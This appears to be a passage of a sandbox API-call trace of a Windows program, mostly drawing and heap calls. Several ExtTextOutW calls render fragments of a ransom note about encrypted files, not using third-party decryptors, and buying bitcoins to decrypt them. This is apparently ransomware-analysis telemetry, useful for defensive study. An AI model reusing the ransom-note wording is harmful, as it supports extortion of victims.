[0103.727] IntersectRect (in: lprcDst=0x1c9eec, lprcSrc1=0x1c9eec, lprcSrc2=0x1c9ebc | out: lprcDst=0x1c9eec) returned 1
[0103.727] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.727] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c9dc0 | out: lprcDst=0x4967b8) returned 1
[0103.727] IntersectRect (in: lprcDst=0x1c9dc0, lprcSrc1=0x1c9dc0, lprcSrc2=0x4967c8 | out: lprcDst=0x1c9dc0) returned 1
[0103.727] GetDeviceCaps (hdc=0x90101e7, index=2) returned 1
[0103.727] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x30) returned 0x4b2cd0
[0103.727] ExtCreateRegion (lpx=0x0, nCount=0x30, lpData=0x4b2cd0) returned 0x17040259
[0103.727] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b2cd0 | out: hHeap=0x450000) returned 1
[0103.727] SelectClipRgn (hdc=0x90101e7, hrgn=0x17040259) returned 2
[0103.728] DeleteObject (ho=0x17040259) returned 1
[0103.728] SelectObject (hdc=0x90101e7, h=0x51007c0) returned 0x1900010
[0103.728] PatBlt (hdc=0x90101e7, x=2, y=0, w=1303, h=8, rop=0xf00021) returned 1
[0103.728] SelectObject (hdc=0x90101e7, h=0x1900010) returned 0x51007c0
[0103.728] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c9edc | out: lprcDst=0x4967b8) returned 1
[0103.728] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c9efc | out: lprcDst=0x4967b8) returned 1
[0103.728] IntersectRect (in: lprcDst=0x1c9a88, lprcSrc1=0x1c9a88, lprcSrc2=0x1c9a58 | out: lprcDst=0x1c9a88) returned 1
[0103.728] IntersectRect (in: lprcDst=0x496840, lprcSrc1=0x496840, lprcSrc2=0x1c9a78 | out: lprcDst=0x496840) returned 1
[0103.728] IntersectRect (in: lprcDst=0x1c9bb4, lprcSrc1=0x1c9bb4, lprcSrc2=0x1c9b84 | out: lprcDst=0x1c9bb4) returned 1
[0103.728] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.728] IntersectRect (in: lprcDst=0x1c9a98, lprcSrc1=0x1c9a98, lprcSrc2=0x4967c8 | out: lprcDst=0x1c9a98) returned 0
[0103.728] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c9a88 | out: lprcDst=0x4967b8) returned 1
[0103.728] IntersectRect (in: lprcDst=0x1c9a88, lprcSrc1=0x1c9a88, lprcSrc2=0x4967c8 | out: lprcDst=0x1c9a88) returned 1
[0103.728] GetDeviceCaps (hdc=0x90101e7, index=2) returned 1
[0103.728] IntersectRect (in: lprcDst=0x1c9884, lprcSrc1=0x1cf1ec, lprcSrc2=0x1c9884 | out: lprcDst=0x1c9884) returned 1
[0103.728] SelectObject (hdc=0x90101e7, h=0x1110020a) returned 0x1900010
[0103.728] GetStockObject (i=8) returned 0x1b00016
[0103.728] SelectObject (hdc=0x90101e7, h=0x1b00016) returned 0x1b00016
[0103.728] GetROP2 (hdc=0x90101e7) returned 13
[0103.728] SetBkMode (hdc=0x90101e7, mode=2) returned 1
[0103.728] Rectangle (hdc=0x90101e7, left=2, top=0, right=1306, bottom=9) returned 1
[0103.728] SetBkMode (hdc=0x90101e7, mode=1) returned 2
[0103.729] SelectObject (hdc=0x90101e7, h=0x1b00016) returned 0x1b00016
[0103.729] SelectObject (hdc=0x90101e7, h=0x1900010) returned 0x1110020a
[0103.729] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c9ba4 | out: lprcDst=0x4967b8) returned 1
[0103.729] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c9bc4 | out: lprcDst=0x4967b8) returned 1
[0103.729] IntersectRect (in: lprcDst=0x1c9720, lprcSrc1=0x1c9720, lprcSrc2=0x1c96b0 | out: lprcDst=0x1c9720) returned 1
[0103.729] IntersectRect (in: lprcDst=0x496840, lprcSrc1=0x496840, lprcSrc2=0x1c9740 | out: lprcDst=0x496840) returned 1
[0103.729] IntersectRect (in: lprcDst=0x1c984c, lprcSrc1=0x1c984c, lprcSrc2=0x1c975c | out: lprcDst=0x1c984c) returned 1
[0103.729] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.729] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c986c | out: lprcDst=0x4967b8) returned 1
[0103.729] IntersectRect (in: lprcDst=0x1c984c, lprcSrc1=0x1c984c, lprcSrc2=0x1c975c | out: lprcDst=0x1c984c) returned 1
[0103.729] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.729] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c986c | out: lprcDst=0x4967b8) returned 1
[0103.729] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c988c | out: lprcDst=0x4967b8) returned 1
[0103.729] IntersectRect (in: lprcDst=0x1c938c, lprcSrc1=0x1c938c, lprcSrc2=0x1c9240 | out: lprcDst=0x1c938c) returned 1
[0103.729] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.729] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c938c | out: lprcDst=0x4967b8) returned 1
[0103.729] IntersectRect (in: lprcDst=0x1c92f0, lprcSrc1=0x1c92f0, lprcSrc2=0x4967c8 | out: lprcDst=0x1c92f0) returned 1
[0103.729] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c92a4 | out: lprcDst=0x4967b8) returned 1
[0103.729] GetDeviceCaps (hdc=0x90101e7, index=2) returned 1
[0103.729] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0103.730] LsGetRubyLsimethods () returned 0x0
[0103.730] LsGetTatenakayokoLsimethods () returned 0x0
[0103.730] LsGetHihLsimethods () returned 0x0
[0103.730] LsGetWarichuLsimethods () returned 0x0
[0103.730] LsGetReverseLsimethods () returned 0x0
[0103.730] LsCreateContext () returned 0x0
[0103.730] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x670) returned 0x503268
[0103.730] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6978
[0103.730] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x110) returned 0x4972e0
[0103.730] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6948
[0103.730] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x2e4) returned 0x5029b0
[0103.730] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x20) returned 0x5013a0
[0103.730] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x20) returned 0x501378
[0103.730] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xa0) returned 0x4c7d10
[0103.730] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x40) returned 0x503cf0
[0103.730] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x20) returned 0x501210
[0103.730] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x20) returned 0x5011e8
[0103.730] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x20) returned 0x5011c0
[0103.730] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x20) returned 0x501328
[0103.730] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x400) returned 0x5004d0
[0103.730] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x8) returned 0x4bd810
[0103.731] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x8) returned 0x4bd830
[0103.731] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x8) returned 0x4bd840
[0103.731] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x8) returned 0x4bd820
[0103.731] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x128) returned 0x48b598
[0103.731] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x11c) returned 0x4954a0
[0103.731] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x108) returned 0x4f1678
[0103.731] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x130) returned 0x4e1f50
[0103.731] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x110) returned 0x500fc8
[0103.731] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x278) returned 0x5008d8
[0103.731] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xc8) returned 0x502ca0
[0103.731] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x190) returned 0x502d70
[0103.731] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x78) returned 0x462cf0
[0103.732] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf0) returned 0x4f2fe8
[0103.732] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x4c) returned 0x497f80
[0103.732] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x194) returned 0x508e08
[0103.732] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xc8) returned 0x508fa8
[0103.732] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x190) returned 0x509078
[0103.732] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x108) returned 0x4f1790
[0103.732] LsSetModWidthPairs () returned 0x0
[0103.732] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x240) returned 0x509210
[0103.732] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x18) returned 0x4bc160
[0103.732] IsRectEmpty (lprc=0x1c8af4) returned 0
[0103.732] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x40) returned 0x503d38
[0103.732] IsRectEmpty (lprc=0x1c8af4) returned 0
[0103.732] IsRectEmpty (lprc=0x1c8af4) returned 0
[0103.732] IsRectEmpty (lprc=0x1c8af4) returned 0
[0103.733] IsRectEmpty (lprc=0x1c8af4) returned 0
[0103.733] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x503d38, Size=0x60) returned 0x49ec48
[0103.733] IsRectEmpty (lprc=0x1c8af4) returned 0
[0103.733] IsRectEmpty (lprc=0x1c8af4) returned 0
[0103.733] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x49ec48, Size=0x90) returned 0x502f08
[0103.733] IsRectEmpty (lprc=0x1c8af4) returned 0
[0103.733] IsRectEmpty (lprc=0x1c8af4) returned 0
[0103.733] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.733] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.733] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.734] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.734] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.734] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.734] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.734] IsRectEmpty (lprc=0x502f18) returned 0
[0103.734] IsRectEmpty (lprc=0x502f28) returned 0
[0103.734] IsRectEmpty (lprc=0x502f38) returned 0
[0103.734] IsRectEmpty (lprc=0x502f48) returned 0
[0103.734] IsRectEmpty (lprc=0x502f58) returned 0
[0103.734] IsRectEmpty (lprc=0x502f68) returned 0
[0103.734] IsRectEmpty (lprc=0x502f78) returned 0
[0103.734] IntersectRect (in: lprcDst=0x1c8c3c, lprcSrc1=0x1c8ef8, lprcSrc2=0x1c8c3c | out: lprcDst=0x1c8c3c) returned 1
[0103.734] IsRectEmpty (lprc=0x1c8c3c) returned 0
[0103.734] IntersectRect (in: lprcDst=0x1c8b8c, lprcSrc1=0x1cf1ec, lprcSrc2=0x1c8b8c | out: lprcDst=0x1c8b8c) returned 1
[0103.734] SelectObject (hdc=0x90101e7, h=0x81001d5) returned 0x1900010
[0103.734] GetStockObject (i=8) returned 0x1b00016
[0103.734] SelectObject (hdc=0x90101e7, h=0x1b00016) returned 0x1b00016
[0103.734] GetROP2 (hdc=0x90101e7) returned 13
[0103.734] SetBkMode (hdc=0x90101e7, mode=2) returned 1
[0103.734] Rectangle (hdc=0x90101e7, left=12, top=0, right=1296, bottom=9) returned 1
[0103.734] SetBkMode (hdc=0x90101e7, mode=1) returned 2
[0103.734] SelectObject (hdc=0x90101e7, h=0x1b00016) returned 0x1b00016
[0103.734] SelectObject (hdc=0x90101e7, h=0x1900010) returned 0x81001d5
[0103.734] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x30) returned 0x4b2cd0
[0103.734] ExtCreateRegion (lpx=0x0, nCount=0x30, lpData=0x4b2cd0) returned 0x18040259
[0103.734] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b2cd0 | out: hHeap=0x450000) returned 1
[0103.734] SelectClipRgn (hdc=0x90101e7, hrgn=0x18040259) returned 2
[0103.734] DeleteObject (ho=0x18040259) returned 1
[0103.734] _CIsqrt () returned 0x3f1a027f
[0103.734] _CIsqrt () returned 0x3f1a027f
[0103.734] _CIatan2 () returned 0x20
[0103.734] _CIatan2 () returned 0x20
[0103.735] GetStockObject (i=8) returned 0x1b00016
[0103.735] SelectObject (hdc=0x90101e7, h=0x1b00016) returned 0x1b00016
[0103.735] GetViewportOrgEx (in: hdc=0x90101e7, lppoint=0x1c8aac | out: lppoint=0x1c8aac) returned 1
[0103.735] SelectObject (hdc=0x90101e7, h=0x51001d9) returned 0x1900010
[0103.735] UnrealizeObject (h=0x51001d9) returned 1
[0103.735] SetBrushOrgEx (in: hdc=0x90101e7, x=12, y=-740, lppt=0x0 | out: lppt=0x0) returned 1
[0103.735] MulDiv (nNumber=0, nNumerator=10, nDenominator=10) returned 0
[0103.735] MulDiv (nNumber=0, nNumerator=0, nDenominator=10) returned 0
[0103.735] MulDiv (nNumber=0, nNumerator=0, nDenominator=10) returned 0
[0103.735] MulDiv (nNumber=0, nNumerator=10, nDenominator=10) returned 0
[0103.735] Polygon (hdc=0x90101e7, apt=0x1c89d0, cpt=4) returned 1
[0103.735] SelectObject (hdc=0x90101e7, h=0x1900010) returned 0x51001d9
[0103.735] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.735] IsRectEmpty (lprc=0x1c8af4) returned 0
[0103.736] IsRectEmpty (lprc=0x1c8af4) returned 0
[0103.736] IsRectEmpty (lprc=0x1c8af4) returned 0
[0103.736] IsRectEmpty (lprc=0x1c8af4) returned 0
[0103.736] IsRectEmpty (lprc=0x1c8af4) returned 0
[0103.737] IsRectEmpty (lprc=0x1c8af4) returned 0
[0103.737] IsRectEmpty (lprc=0x1c8af4) returned 0
[0103.737] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.737] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.737] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.737] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.737] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.737] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.737] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.737] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.738] IsRectEmpty (lprc=0x1c8af4) returned 0
[0103.738] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.738] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.738] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.738] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.738] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.738] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.738] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.738] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.739] IsRectEmpty (lprc=0x1c8af4) returned 0
[0103.739] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.739] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.739] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.739] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.739] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.739] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.739] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.739] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.739] IsRectEmpty (lprc=0x1c8af4) returned 0
[0103.739] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.739] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.739] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.739] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.739] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.739] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.740] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.740] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.740] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x502f08 | out: hHeap=0x450000) returned 1
[0103.740] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.740] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x0
[0103.740] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x30) returned 0x4b2cd0
[0103.740] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xa) returned 0x4baaf8
[0103.740] LsSetDoc () returned 0x0
[0103.740] LsCreateLine () returned 0x0
[0103.740] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.741] LsQueryLineDup () returned 0x0
[0103.741] LsQueryLineCpPpoint () returned 0x0
[0103.741] LsDisplayLine () returned 0x0
[0103.741] SelectObject (hdc=0x90101e7, h=0x30a01fd) returned 0x18a002e
[0103.741] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0103.741] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0103.741] GetTextAlign (hdc=0x90101e7) returned 0x0
[0103.741] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0103.741] _CIsqrt () returned 0x3f1a027f
[0103.741] _CIsqrt () returned 0x3f1a027f
[0103.741] _CIatan2 () returned 0x20
[0103.741] _CIatan2 () returned 0x20
[0103.741] ExtTextOutA (hdc=0x90101e7, x=46, y=-1, options=0x4, lprect=0x1c8334, lpString="l", c=0x1, lpDx=0x1c8378) returned 1
[0103.741] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0103.741] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.741] LsDestroyLine () returned 0x0
[0103.741] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.742] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.742] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b2cd0 | out: hHeap=0x450000) returned 1
[0103.742] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4baaf8 | out: hHeap=0x450000) returned 1
[0103.742] LsSetDoc () returned 0x0
[0103.742] LsCreateLine () returned 0x0
[0103.742] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.743] LsDisplayLine () returned 0x0
[0103.743] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01fd
[0103.743] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0103.743] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0103.743] GetTextAlign (hdc=0x90101e7) returned 0x0
[0103.743] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0103.743] _CIatan2 () returned 0x20
[0103.743] _CIatan2 () returned 0x20
[0103.743] ExtTextOutW (hdc=0x90101e7, x=62, y=-1, options=0x4, lprect=0x1c8498, lpString="Do not rename encrypted files tion/how-can-i-buy-bitcoins/ guide here: r, click 'Buy bitcoins', and select the seller by payment method and price. decrypt all your files. ", c=0x1d, lpDx=0x1c84d0) returned 1
[0103.743] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0103.743] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.743] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0103.743] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0103.743] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0103.743] GetTextAlign (hdc=0x90101e7) returned 0x0
[0103.743] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0103.743] _CIatan2 () returned 0x20
[0103.743] _CIatan2 () returned 0x20
[0103.743] ExtTextOutW (hdc=0x90101e7, x=260, y=-1, options=0x4, lprect=0x1c8498, lpString=" tion/how-can-i-buy-bitcoins/ guide here: r, click 'Buy bitcoins', and select the seller by payment method and price. decrypt all your files. ", c=0x1, lpDx=0x1c84d0) returned 1
[0103.743] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0103.743] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.744] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0103.744] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0103.744] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0103.744] GetTextAlign (hdc=0x90101e7) returned 0x0
[0103.744] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0103.744] _CIatan2 () returned 0x20
[0103.744] _CIatan2 () returned 0x20
[0103.744] ExtTextOutW (hdc=0x90101e7, x=265, y=-1, options=0x4, lprect=0x1c8498, lpString=" ", c=0x1, lpDx=0x1c84d0) returned 1
[0103.744] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0103.744] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.744] LsDestroyLine () returned 0x0
[0103.744] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.744] LsSetDoc () returned 0x0
[0103.744] LsCreateLine () returned 0x0
[0103.744] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.744] LsQueryLineDup () returned 0x0
[0103.744] LsQueryLineCpPpoint () returned 0x0
[0103.744] LsDisplayLine () returned 0x0
[0103.745] SelectObject (hdc=0x90101e7, h=0x30a01fd) returned 0x30a01ff
[0103.745] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0103.745] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0103.745] GetTextAlign (hdc=0x90101e7) returned 0x0
[0103.745] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0103.745] _CIsqrt () returned 0x3f1a027f
[0103.745] _CIsqrt () returned 0x3f1a027f
[0103.745] _CIatan2 () returned 0x20
[0103.745] _CIatan2 () returned 0x20
[0103.745] ExtTextOutA (hdc=0x90101e7, x=46, y=24, options=0x4, lprect=0x1c8334, lpString="l", c=0x1, lpDx=0x1c8378) returned 1
[0103.745] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0103.745] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.745] LsDestroyLine () returned 0x0
[0103.745] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.745] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b2cd0 | out: hHeap=0x450000) returned 1
[0103.745] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4baaf8 | out: hHeap=0x450000) returned 1
[0103.746] LsSetDoc () returned 0x0
[0103.746] LsCreateLine () returned 0x0
[0103.746] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.746] LsDisplayLine () returned 0x0
[0103.747] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01fd
[0103.747] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0103.747] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0103.747] GetTextAlign (hdc=0x90101e7) returned 0x0
[0103.747] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0103.747] _CIatan2 () returned 0x20
[0103.747] _CIatan2 () returned 0x20
[0103.747] ExtTextOutW (hdc=0x90101e7, x=62, y=24, options=0x4, lprect=0x1c8498, lpString="Do not try to decrypt your data using third party software, it may cause permanent data loss ns', and select the seller by payment method and price. decrypt all your files. ", c=0x5c, lpDx=0x1c84d0) returned 1
[0103.747] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0103.747] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.747] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0103.747] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0103.747] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0103.747] GetTextAlign (hdc=0x90101e7) returned 0x0
[0103.747] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0103.747] _CIatan2 () returned 0x20
[0103.747] _CIatan2 () returned 0x20
[0103.747] ExtTextOutW (hdc=0x90101e7, x=673, y=24, options=0x4, lprect=0x1c8498, lpString=" ns', and select the seller by payment method and price. decrypt all your files. ", c=0x1, lpDx=0x1c84d0) returned 1
[0103.747] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0103.747] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.747] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0103.748] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0103.748] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0103.748] GetTextAlign (hdc=0x90101e7) returned 0x0
[0103.748] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0103.748] _CIatan2 () returned 0x20
[0103.748] _CIatan2 () returned 0x20
[0103.748] ExtTextOutW (hdc=0x90101e7, x=678, y=24, options=0x4, lprect=0x1c8498, lpString=" ", c=0x1, lpDx=0x1c84d0) returned 1
